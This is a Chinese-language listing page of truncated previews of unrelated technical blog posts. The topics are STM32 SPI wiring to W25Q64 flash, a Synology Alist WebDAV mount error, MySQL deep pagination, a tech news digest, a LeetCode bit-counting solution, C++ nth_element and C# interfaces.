使用的型号为stm32f103c8t6与w25q64。 STM32CubeMX配置与引脚衔接 根据stm32f103c8t6引脚手册&#xff0c;采用B12-B15四个引脚与W25Q64连接&#xff0c;实现SPI通信。 W25Q64SCK&#xff08;CLK&#xff09;PB13MOSI&#xff08;DI&#xff09;PB15MISO(DO)PB14CS&#xff08…...

群晖Alist套件无法挂载到群晖webdav,报错【连接被服务器拒绝】

声明&#xff1a;我不是用docker安装的 在套件中心安装矿神的Alist套件后&#xff0c;想把夸克挂载到群晖上&#xff0c;方便复制文件的&#xff0c;哪知道一直报错&#xff0c;最后发现问题出在两个地方&#xff1a; 1&#xff09;挂载的路径中&#xff0c;直接填 dav &…...

MySQL 如何深度分页问题

在实际的数据库应用场景中&#xff0c;我们常常会遇到需要进行分页查询的需求。对于少量数据的分页查询&#xff0c;MySQL 可以轻松应对。然而&#xff0c;当我们需要进行深度分页&#xff08;即从大量数据的中间位置开始获取少量数据&#xff09;时&#xff0c;就会面临性能严…...

科技快讯 | OpenAI首次向免费用户开放推理模型;特朗普与黄仁勋会面;雷军回应“10后小学生深情表白小米SU7”

不用开口&#xff1a;谷歌 AI 帮你致电商家&#xff0c;价格、预约一键搞定 谷歌在1月30日推出Search Labs中的“Ask for Me”实验性功能&#xff0c;用户可利用AI代替自己致电商家咨询价格和服务。该功能已与美汽车修理厂和美甲沙龙店合作&#xff0c;用户需加入Search Labs并…...

2.1刷题日记

1.338. 比特位计数 - 力扣&#xff08;LeetCode&#xff09; class Solution { public:vector<int> countBits(int n) {vector<int>ans(n1,0);ans[0]0;for(int i1;i<n;i){if(i%21){ans[i]ans[i-1]1;}else{ans[i]ans[i/2];}}return ans;} }; 利用奇数与偶数来进…...

nth_element函数——C++快速选择函数

目录 1. 函数原型 2. 功能描述 3. 算法原理 4. 时间复杂度 5. 空间复杂度 6. 使用示例 8. 注意事项 9. 自定义比较函数 11. 总结 nth_element 是 C 标准库中提供的一个算法&#xff0c;位于 <algorithm> 头文件中&#xff0c;用于部分排序序列。它的主要功能是将…...

C#接口(Interface)

C#中的接口 接口是C#中一种重要的概念&#xff0c;它定义了一组函数成员&#xff0c;但不实现它们。接口提供了一种标准结构&#xff0c;使得实现接口的类或结构在形式上保持一致。接口定义了属性、方法和事件&#xff0c;这些都是接口的成员&#xff0c;但接口只包含成员的声…...